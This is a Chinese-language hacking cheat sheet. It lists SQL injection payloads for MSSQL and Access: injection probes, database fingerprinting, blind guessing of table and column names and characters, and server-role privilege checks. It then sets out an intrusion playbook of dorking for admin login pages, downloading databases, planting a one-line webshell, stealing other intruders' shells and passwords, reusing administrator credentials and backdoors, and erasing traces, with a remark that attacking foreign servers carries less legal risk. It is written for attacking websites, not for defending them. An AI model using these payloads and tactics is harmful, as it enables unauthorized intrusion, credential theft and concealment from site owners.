一、方法总结:
1.判断是否有注入
and 1=1
and 1=2
2.初步判断是否是mssql
and user>0
3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
4.注入参数是字符
and [查询条件] and ”=’
5.搜索时没过滤参数的
and [查询条件] and ‘%25′=’
6.猜数据库
and (Select Count(*) from [数据库名])>0
7.猜字段
and (Select Count(字段名) from 数据库名)>0
8.猜字段中记录长度
and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–
and 1=(SELECT IS_MEMBER(‘db_owner’));–
11.mssql内置函数
and (select @@version)>0 获得Windows的版本号
and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
and (select user_name())>0 爆当前系统的连接用户
and (select db_name())>0 得到当前连接的数据库
二、思路总结:
1.刺探环境 2.找到注入点
如果是ACC,老老实实的猜解表名,字段名,然后找后台或者另寻它路
如果是SQL的,权限一般权限,按照ACC的方法走
如果权限是Db,首先考虑备份,不成功再走通用法
如果是SA的就不说了,方法太多了
社会工程学(技巧):
1.找后台可去百度(site:XXXX.com inurl:login)
2.列目录找后台
3.列目录找数据库(如果是MDB的,下载下来进后台找上传,如果是ASP或ASP那我就不多说了,想都不要想,一句话木马搞定)
4.SQL的可执行相关命令暴出很多信息
5.入侵中,用心记每一个出现的细节,对以后可能有帮助 ,如果有可能,尽好记下,笔记本和记事本无所谓
6.入侵中可能遇到别人的Shell,请把它下载下来,如果加了密,反编译就 OK了。如果你想真正的学习技术的话,我介意把他SHell的相关信息记下 一般记下QQ和他Shell的密码(别问我为什么,如果你认为没有就当我没说)
7.记住最好的后门是用别人的后门,最好的密码最好用管理员的密码
8.最后说一点,入侵最好不要挂黑页,进服务器后记得注销后退出,不要忘记搓屁股(这点不要学原博客主,因为原博客主进的大多数是国外的服务器,就算查到也关系不大,中国的法律不是开玩笑的)
运气+时间+技术+经验=入侵成功